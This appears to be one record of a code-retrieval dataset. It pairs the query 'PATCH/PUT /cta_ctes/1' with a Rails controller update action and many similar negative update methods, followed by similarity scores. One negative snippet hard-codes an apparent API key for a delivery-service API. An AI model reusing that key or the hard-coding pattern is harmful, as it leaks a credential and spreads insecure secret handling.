"0.53965056",
"0.53788203",
"0.5357689",
"0.53455913",
"0.5342466",
"0.5334487",
"0.5314075",
"0.53123325",
"0.53082263",
"0.5300812",
"0.5297067",
"0.5289468",
"0.5280247",
"0.52745295",
"0.527251",
"0.5233709",
"0.5230775",
"0.52284616",
"0.520709",
"0.52051383",
"0.5179027",
"0.51783305",
"0.51625013",
"0.5159415",
"0.51438266",
"0.51345986",
"0.51316607",
"0.5112907",
"0.51080006",
"0.5105583",
"0.5100426",
"0.5100426",
"0.5100188",
"0.50915855",
"0.50907874",
"0.50875044",
"0.50873065",
"0.5086747",
"0.5084181",
"0.50828403",
"0.5081859",
"0.5080672",
"0.5061395",
"0.5061155",
"0.5059828",
"0.50591797",
"0.50575995",
"0.5051457",
"0.50466496",
"0.50426453",
"0.5039071",
"0.5038655",
"0.5035793",
"0.50322163",
"0.50309074",
"0.5030092",
"0.50103414",
"0.50097966",
"0.5002918",
"0.5001536",
"0.499821",
"0.49956304",
"0.49900848",
"0.49856472",
"0.49826467",
"0.49817565",
"0.49814788",
"0.4976334",
"0.49704543",
"0.49687898",
"0.4964437",
"0.49638298",
"0.49556234",
"0.49488956",
"0.49446252",
"0.49392962",
"0.49380395"
] |
0.72541827
|
0
|
PATCH/PUT /cta_ctes/1 PATCH/PUT /cta_ctes/1.json
|
def update
respond_to do |format|
if @cta_cte.update(cta_cte_params)
format.html { redirect_to @cta_cte, notice: 'Cta cte was successfully updated.' }
format.json { render :show, status: :ok, location: @cta_cte }
else
format.html { render :edit }
format.json { render json: @cta_cte.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @cta.update(cta_params)\n format.html { redirect_to @cta, notice: 'cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @ct.update(ct_params)\n format.html { redirect_to @ct, notice: 'Ct was successfully updated.' }\n format.json { render :show, status: :ok, location: @ct }\n else\n format.html { render :edit }\n format.json { render json: @ct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cto.update(cto_params)\n format.html { redirect_to @cto, notice: 'Cto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cfct.update(cfct_params)\n format.html { redirect_to @cfct, notice: 'Cfct was successfully updated.' }\n format.json { render :show, status: :ok, location: @cfct }\n else\n format.html { render :edit }\n format.json { render json: @cfct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cta_cte\n @cta_cte = CtaCte.find(params[:id])\n end",
"def set_cta\n @cta = cta.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @cotact.update(cotact_params)\n format.html { redirect_to @cotact, notice: 'Cotact was successfully updated.' }\n format.json { render :show, status: :ok, location: @cotact }\n else\n format.html { render :edit }\n format.json { render json: @cotact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tccapi.update(tccapi_params)\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully updated.' }\n format.json { render :show, status: :ok, location: @tccapi }\n else\n format.html { render :edit }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cerc = Cerc.find(params[:id])\n\n if @cerc.update_attributes(params[:cerc])\n head :no_content\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end",
"def cta_params\n params.require(:cta).permit(:cta1_header, :cta1_caption, :cta1_url, :cta1_button, :cta2_header, :cta2_caption, :cta2_url, :cta2_button, :cta3_header, :cta3_caption, :cta3_url, :cta3_button)\n end",
"def update\n respond_to do |format|\n if @cpt.update(cpt_params)\n format.html { redirect_to @cpt, notice: 'Cpt was successfully updated.' }\n format.json { render :show, status: :ok, location: @cpt }\n else\n format.html { render :edit }\n format.json { render json: @cpt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @taco.update(taco_params)\n format.html { redirect_to @taco, notice: 'Taco was successfully updated.' }\n format.json { render :show, status: :ok, location: @taco }\n else\n format.html { render :edit }\n format.json { render json: @taco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @cta_type = args[:cta_type] if args.key?(:cta_type)\n @url = args[:url] if args.key?(:url)\n end",
"def update\n @cec_complaint = CecComplaint.find(params[:id])\n\n respond_to do |format|\n if @cec_complaint.update_attributes(params[:cec_complaint])\n format.html { redirect_to @cec_complaint, notice: 'Cec complaint was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cec_complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @t_complaint.update(t_complaint_params)\n format.html { redirect_to @t_complaint, notice: 'T complaint was successfully updated.' }\n format.json { render :show, status: :ok, location: @t_complaint }\n else\n format.html { render :edit }\n format.json { render json: @t_complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ca = Ca.find(params[:id])\n\n respond_to do |format|\n if @ca.update_attributes(params[:ca])\n format.html { redirect_to @ca, notice: 'Ca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trac.update(trac_params)\n format.html { redirect_to @trac, notice: 'Trac was successfully updated.' }\n format.json { render :show, status: :ok, location: @trac }\n else\n format.html { render :edit }\n format.json { render json: @trac.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @crate.update(crate_params)\n format.html { redirect_to tenant_crates_path(@tenant), notice: 'Crate was successfully updated.' }\n format.json { render :show, status: :ok, location: @crate }\n else\n format.html { render :edit }\n format.json { render json: @crate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cadet = Cadet.find(params[:id])\n\n respond_to do |format|\n if @cadet.update_attributes(params[:cadet])\n format.html { redirect_to @cadet, notice: 'Cadet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cta_cte_params\n params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)\n end",
"def update\n @cocktail = Cocktail.find(params[:id])\n respond_to do |format|\n if @cocktail.update_attributes(params[:cocktail])\n format.html { redirect_to @cocktail, :notice => 'Cocktail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cocktail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n if @cocktail.update_attributes(params[:cocktail])\n format.html { redirect_to @cocktail, notice: 'Cocktail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cocktail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @trip\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ca.update(ca_params)\n format.html { redirect_to @ca, notice: 'Ca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @capex.update(capex_params)\n format.html { redirect_to @capex, notice: 'Capex was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capex.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tobacco.update(tobacco_params)\n format.html { redirect_to @tobacco, notice: 'Tobacco was successfully updated.' }\n format.json { render :show, status: :ok, location: @tobacco }\n else\n format.html { render :edit }\n format.json { render json: @tobacco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tcredito.update(tcredito_params)\n format.html { redirect_to @tcredito, notice: 'Tcredito was successfully updated.' }\n format.json { render :show, status: :ok, location: @tcredito }\n else\n format.html { render :edit }\n format.json { render json: @tcredito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @cage.update_attributes(params[:cage])\n format.json { head :no_content }\n else\n format.json { render json: @cage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n last_clip(@trip, trip_params[:clips_attributes].present?)\n format.html { redirect_to @trip.parent || @trip, notice: 'Trip was successfully updated.', change: \"list\" }\n format.json { head :no_content }\n else\n format.html { redirect_to @trip.parent || @trip }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n if @cso.update_attributes(params[:cso])\n format.html { redirect_to @cso, notice: 'Cso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cof.update(cof_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @casa.update(casa_params)\n format.html { redirect_to @casa, notice: \"Casa was successfully updated.\" }\n format.json { render :show, status: :ok, location: @casa }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @casa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @cabinet = Cabinet.find(params[:id])\n\n respond_to do |format|\n if @cabinet.update_attributes(params[:cabinet])\n format.html { redirect_to @cabinet, notice: 'Cabinet was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cabinet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def update\n @coff = Coff.find(params[:id])\n\n respond_to do |format|\n if @coff.update_attributes(params[:coff])\n format.html { redirect_to @coff, notice: 'Coff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n respond_to do |format|\n if @court_complex.update(court_complex_params)\n format.html { redirect_to @court_complex, notice: 'Court complex was successfully updated.' }\n format.json { render :show, status: :ok, location: @court_complex }\n else\n format.html { render :edit }\n format.json { render json: @court_complex.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { render :show, status: :ok, location: @caso }\n else\n format.html { render :edit }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @affiliate_ctum = Affiliate::Ctum.find(params[:id])\n\n respond_to do |format|\n if @affiliate_ctum.update_attributes(params[:affiliate_ctum])\n format.html { redirect_to @affiliate_ctum, notice: 'Ctum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @affiliate_ctum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cict.update(cict_params)\n format.html { redirect_to @cict, notice: 'Cict was successfully updated.' }\n format.json { render :show, status: :ok, location: @cict }\n else\n format.html { render :edit }\n format.json { render json: @cict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crust = Crust.find(params[:id])\n\n respond_to do |format|\n if @crust.update_attributes(params[:crust])\n format.html { redirect_to @crust, notice: 'Crust was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crust.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @xrf_coc.update(xrf_coc_params)\n format.html { redirect_to @xrf_coc, notice: 'Xrf coc was successfully updated.' }\n format.json { render :show, status: :ok, location: @xrf_coc }\n else\n format.html { render :edit }\n format.json { render json: @xrf_coc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cta_cte = CtaCte.new(cta_cte_params)\n\n respond_to do |format|\n if @cta_cte.save\n format.html { redirect_to @cta_cte, notice: 'Se creo correctamente.' }\n format.json { render :show, status: :created, location: @cta_cte }\n else\n format.html { render :new }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @travel_companion.update(travel_companion_params)\n format.html { redirect_to @travel_companion, notice: 'Travel companion was successfully updated.' }\n format.json { render :show, status: :ok, location: @travel_companion }\n else\n format.html { render :edit }\n format.json { render json: @travel_companion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clint.update(clint_params)\n format.html { redirect_to @clint, notice: 'Clint was successfully updated.' }\n format.json { render :show, status: :ok, location: @clint }\n else\n format.html { render :edit }\n format.json { render json: @clint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reqcargo.update(reqcargo_params)\n format.html { redirect_to @reqcargo, notice: 'Reqcargo was successfully updated.' }\n format.json { render :show, status: :ok, location: @reqcargo }\n else\n format.html { render :edit }\n format.json { render json: @reqcargo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cooco.update(cooco_params)\n format.html { redirect_to @cooco, notice: 'Cooco was successfully updated.' }\n format.json { render :show, status: :ok, location: @cooco }\n else\n format.html { render :edit }\n format.json { render json: @cooco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n if @cita.update_attributes(params[:cita])\n format.html { redirect_to @cita, notice: 'Cita was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cita.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @congress.update(congress_params)\n format.html { redirect_to @congress, notice: 'Congress was successfully updated.' }\n format.json { render :show, status: :ok, location: @congress }\n else\n format.html { render :edit }\n format.json { render json: @congress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @court = Court.find(params[:id])\n\n respond_to do |format|\n if @court.update_attributes(params[:court])\n format.html { redirect_to @court, notice: 'Court was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n \n \n params[:trip][:category_ids] ||= []\n params[:trip][:type_ids] ||= []\n \n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, :notice => 'Trip was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cadet.update(cadet_params)\n format.html { redirect_to @cadet, notice: 'Cadet was successfully updated.' }\n format.json { render :show, status: :ok, location: @cadet }\n else\n format.html { render :edit }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @calevent = Calevent.find(params[:id])\n\n respond_to do |format|\n if @calevent.update_attributes(params[:calevent])\n format.html { redirect_to @calevent, notice: 'Calevent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calevent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cadd = Cadd.find(params[:id])\n\n respond_to do |format|\n if @cadd.update_attributes(params[:cadd])\n format.html { redirect_to(@cadd, :notice => 'Cadd was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cadd.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_cfct\n @cfct = Cfct.find(params[:id])\n end",
"def update\n @atccode = Atccode.find(params[:id])\n\n respond_to do |format|\n if @atccode.update_attributes(params[:atccode])\n format.html { redirect_to @atccode, :notice => 'Atccode was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atccode.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tema_curso.update(tema_curso_params)\n format.html { redirect_to @tema_curso, notice: 'Tema do curso atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @tema_curso }\n else\n format.html { render :edit }\n format.json { render json: @tema_curso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cetegory.update(cetegory_params)\n format.html { redirect_to @cetegory, notice: 'Cetegory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cetegory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @certtest.update(certtest_params)\n format.html { redirect_to @certtest, notice: 'Certtest was successfully updated.' }\n format.json { render :show, status: :ok, location: @certtest }\n else\n format.html { render :edit }\n format.json { render json: @certtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ccl = Ccl.find(params[:id])\n\n respond_to do |format|\n if @ccl.update_attributes(params[:ccl])\n format.html { redirect_to(@ccl, :notice => 'Ccl was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ccl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tyc_company.update(tyc_company_params)\n format.html { redirect_to @tyc_company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @tyc_company }\n else\n format.html { render :edit }\n format.json { render json: @tyc_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ticket_transcation.update(ticket_transcation_params)\n format.html { redirect_to @ticket_transcation, notice: 'Ticket transcation was successfully updated.' }\n format.json { render :show, status: :ok, location: @ticket_transcation }\n else\n format.html { render :edit }\n format.json { render json: @ticket_transcation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @ticket.update(ticket_params)\n @ticket.payment.credit.terminado\n format.html { redirect_to @ticket, notice: 'Ticket was successfully updated.' }\n format.json { render :show, status: :ok, location: @ticket }\n else\n format.html { render :edit }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @custo = Custo.find(params[:id])\n\n respond_to do |format|\n if @custo.update_attributes(params[:custo])\n format.html { redirect_to @custo, notice: 'Custo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @custo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @therapist_consent = TherapistConsent.find(params[:id])\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render :status => 200, :json => { action: 'edit', therapist_consent: @therapist_consent}}\n end\n end",
"def update\n respond_to do |format|\n if @cet.update(cet_params)\n format.html { redirect_to @cet, notice: 'Cet was successfully updated.' }\n format.json { render :show, status: :ok, location: @cet }\n else\n format.html { render :edit }\n format.json { render json: @cet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cta = Cta.find(params[:id])\n params[:users].each do |p|\n @cta.cta_relations.first.users << UserGroup.find(p)\n end\n @user.user_groups.uniq!\n\n respond_to do |format|\n if @cta.update_attributes(params[:cta])\n format.html { redirect_to @cta, notice: 'Cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cec_form = CecForm.find(params[:id])\n\n respond_to do |format|\n if @cec_form.update_attributes(params[:cec_form])\n format.html { redirect_to @cec_form, notice: I18n.t('cec_form.notice.update') }\n format.json { head :ok }\n else\n\t\t gon.edit_cec_form = true\n format.html { render action: \"edit\" }\n format.json { render json: @cec_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\n intent_request = @api_ai_client.create_intents_request\n response = intent_request.update(@category.intent_id, param_options)\n\n if response.is_a?(Hash) && response[:status][:code].eql?(200)\n\n contexts_templates = { contexts: category_params[:contexts].split(\",\"), templates: category_params[:templates].split(\",\") }\n\n if @category.update(category_params.merge(contexts_templates))\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n else\n @notice = response.message\n\n format.html { render :new }\n format.json { render json: { error: response.message }, status: response.code}\n end\n end\n end",
"def update\n @tenancy_agreement = TenancyAgreement.find(params[:id])\n\n respond_to do |format|\n if @tenancy_agreement.update_attributes(params[:tenancy_agreement])\n format.html { redirect_to tenancy_agreements_path, notice: 'Tenancy agreement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenancy_agreement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cfa_update\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_update method\"\n \n begin\n params.permit!\n data=params[\"cfas\"]\n cfa={:cfa_title=>{\"job_name\": params[:job_name]}}\n cfa=RestClient.put $api_service+'/cfa_titles/'+data[:id],cfa \n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : cfa_updated successfully\"\n rescue =>e\n Rails.logger.custom_log.error { \"#{e}cfas_controller cfa_update method\" }\n end\n redirect_to :action => \"index\"\n # redirect_to :action => \"show\" ,:id=>data[:id]\n end",
"def update\n respond_to do |format|\n if @objeto.update(cita_params)\n format.html { redirect_to @objeto, notice: \"Cita was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @catched.update(catched_params)\n format.html { redirect_to @catched, notice: 'Catched was successfully updated.' }\n format.json { render :show, status: :ok, location: @catched }\n else\n format.html { render :edit }\n format.json { render json: @catched.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n if @clonet.update_attributes(params[:clonet])\n format.html { redirect_to @clonet, notice: 'Clonet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mycometer_coc.update(mycometer_coc_params)\n format.html { redirect_to @mycometer_coc, notice: 'Mycometer coc was successfully updated.' }\n format.json { render :show, status: :ok, location: @mycometer_coc }\n else\n format.html { render :edit }\n format.json { render json: @mycometer_coc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n data = tenant_update_params\n tookan = {\"api_key\": \"50646180f541481e4c422b614c5825431be3c2f82fd57936541c03\",\"customer_id\": @tenant.customer_id,\"user_type\": 0,\"name\": data[:name],\"phone\": data[:phone1],\"email\": data[:email],\"address\": data[:address],\"latitude\": data[:latitude],\"longitude\": data[:longitude]}\n response = RestClient.post \"https://api.tookanapp.com/v2/customer/edit\", tookan.to_json, :content_type => \"application/json\"\n response = JSON.parse(response)\n respond_to do |format|\n if response[\"status\"] == 200\n if @tenant.update(tenant_update_params)\n food_category = FoodCategory.find_or_create_by(name: \"Veg\")\n @tenant.tenant_details.update(food_category_id: food_category.id)\n if @tenant.active == true\n end\n end\n @tenant.update(:updated_by=>session[:kitchen_user_id])\n format.html { redirect_to tenants_url, notice: 'Tenant was successfully updated.' }\n format.json { render :show, status: :ok, location: @tenant }\n else\n format.html { redirect_to tenants_url, notice: 'Tenant was not updated.' }\n format.json { render json: @tenant.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n respond_to do |format|\n if @cepa.update(cepa_params)\n format.html { redirect_to @cepa, notice: \"Cepa was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cepa }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @cepa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @csp.update(csp_params)\n format.html { redirect_to @csp, notice: t(\"notice.updated\") }\n format.json { render :show, status: :ok, location: @csp }\n else\n format.html { render :edit }\n format.json { render json: @csp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @clasp = Clasp.find(params[:id])\n\n respond_to do |format|\n if @clasp.update_attributes(params[:clasp])\n format.html { redirect_to @clasp, notice: 'Clasp was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clasp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_ct\n @ct = Ct.find(params[:id])\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n if @complaint.update_attributes(params[:complaint])\n format.html { redirect_to complaints_path}\n flash[:success] = 'Complaint was successfully updated.'\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def assign_tenants_to_circle(args = {}) \n body_put(\"/tenantcircles.json/tenants/#{args[:circleId]}\", args[:array_of_ids])\nend",
"def update\n @client = Client.find(params[:client_id])\n @casenote = Casenote.find(params[:id])\n\n respond_to do |format|\n if @casenote.update_attributes(params[:casenote])\n flash[:notice] = 'Casenote was successfully updated.'\n format.html { redirect_to(@client, @casenote) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @casenote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @centro_custo = CentroCusto.find(params[:id])\n\n respond_to do |format|\n if @centro_custo.update_attributes(params[:centro_custo])\n flash[:notice] = t('general.messages.update_success', model_name: t('activerecord.models.centro_custo'))\n format.html { redirect_to edit_centro_custo_path(@centro_custo) }\n format.json { head :no_content }\n format.js { render action: 'save.js.erb' }\n else\n flash.now[:error] = t('general.messages.update_error', model_name: t('activerecord.models.centro_custo'))\n format.html { render action: \"edit\" }\n format.json { render json: @centro_custo.errors, status: :unprocessable_entity }\n format.js { render action: 'save.js.erb' }\n end\n end\n end",
"def update\n @certidao = Certidao.find(params[:id])\n\n respond_to do |format|\n if @certidao.update_attributes(params[:certidao])\n flash[:notice] = 'Certidao was successfully updated.'\n format.html { redirect_to(@certidao) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @certidao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
